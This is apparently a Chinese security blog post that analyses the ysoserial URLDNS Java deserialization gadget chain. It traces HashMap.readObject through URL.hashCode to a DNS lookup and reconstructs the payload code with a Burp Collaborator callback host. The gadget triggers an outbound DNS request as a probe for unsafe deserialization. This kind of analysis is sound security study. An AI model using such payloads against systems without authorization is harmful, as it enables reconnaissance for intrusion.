简单的gadget构造。

分析

先来看ysoserial的payload

 1public Object getObject(final String url) throws Exception {
 2
 3    //Avoid DNS resolution during payload creation
 4    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
 5    URLStreamHandler handler = new SilentURLStreamHandler();
 6
 7    HashMap ht = new HashMap(); // HashMap that will contain the URL
 8    URL u = new URL(null, url, handler); // URL to use as the Key
 9    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
10
11    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
12
13    return ht;
14}

可以看到是HashMap类的问题,而触发反序列化的⽅法是 readObject ,直奔 HashMap 类的 readObject ⽅法:

 1private void readObject(java.io.ObjectInputStream s)
 2    throws IOException, ClassNotFoundException {
 3    // Read in the threshold (ignored), loadfactor, and any hidden stuff
 4    s.defaultReadObject();
 5    reinitialize();
 6    if (loadFactor <= 0 || Float.isNaN(loadFactor))
 7        throw new InvalidObjectException("Illegal load factor: " +
 8                                         loadFactor);
 9    s.readInt();                // Read and ignore number of buckets
10    int mappings = s.readInt(); // Read number of mappings (size)
11    if (mappings < 0)
12        throw new InvalidObjectException("Illegal mappings count: " +
13                                         mappings);
14    else if (mappings > 0) { // (if zero, use defaults)
15        // Size the table using given load factor only if within
16        // range of 0.25...4.0
17        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
18        float fc = (float)mappings / lf + 1.0f;
19        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
20                   DEFAULT_INITIAL_CAPACITY :
21                   (fc >= MAXIMUM_CAPACITY) ?
22                   MAXIMUM_CAPACITY :
23                   tableSizeFor((int)fc));
24        float ft = (float)cap * lf;
25        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
26                     (int)ft : Integer.MAX_VALUE);
27
28        // Check Map.Entry[].class since it's the nearest public type to
29        // what we're actually creating.
30        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
31        @SuppressWarnings({"rawtypes","unchecked"})
32        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
33        table = tab;
34
35        // Read the keys and values, and put the mappings in the HashMap
36        for (int i = 0; i < mappings; i++) {
37            @SuppressWarnings("unchecked")
38            K key = (K) s.readObject();
39            @SuppressWarnings("unchecked")
40            V value = (V) s.readObject();
41            putVal(hash(key), key, value, false, false);
42        }
43    }
44}

在最后进行了hash(key)计算,跟进

1static final int hash(Object key) {
2    int h;
3    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
4}

进行了hashCode()函数,而key此时是我们传入的 java.net.URL 对象,那么跟进这个类的hashCode()方法看下

1public synchronized int hashCode() {
2    if (hashCode != -1)
3        return hashCode;
4
5    hashCode = handler.hashCode(this);
6    return hashCode;
7}

当hashCode字段等于-1时会进行handler.hashCode(this)计算,handler是定义的URLStreamHandler字段,那么进入java.net.URLStreamHandler#hashCode()

image

u是我们传入的URL,getHostAddress会进行dns查询。整个链比较简单:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

构造payload

 1package com.sera.urldns;
 2
 3import java.io.*;
 4import java.lang.reflect.Field;
 5import java.net.MalformedURLException;
 6import java.net.URLConnection;
 7import java.net.URLStreamHandler;
 8import java.util.HashMap;
 9import java.net.URL;
10
11public class URLDNS implements Serializable {
12
13    public static void main(String[] args) throws MalformedURLException, NoSuchFieldException, IllegalAccessException {
14
15        URLStreamHandler handler = new URLStreamHandler() {
16            @Override
17            protected URLConnection openConnection(URL u) throws IOException {
18                return null;
19            }
20        };
21        HashMap hm = new HashMap();
22        String url = "http://0jkp1tes60w8k6928kvujpirnit9hy.burpcollaborator.net";
23        URL u = new URL(null, url, handler);
24        Class clazz = u.getClass();
25
26        Field field = clazz.getDeclaredField("hashCode");
27        field.setAccessible(true);
28        field.set(u, -1);
29        hm.put(u, url);
30    }
31
32}

image

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。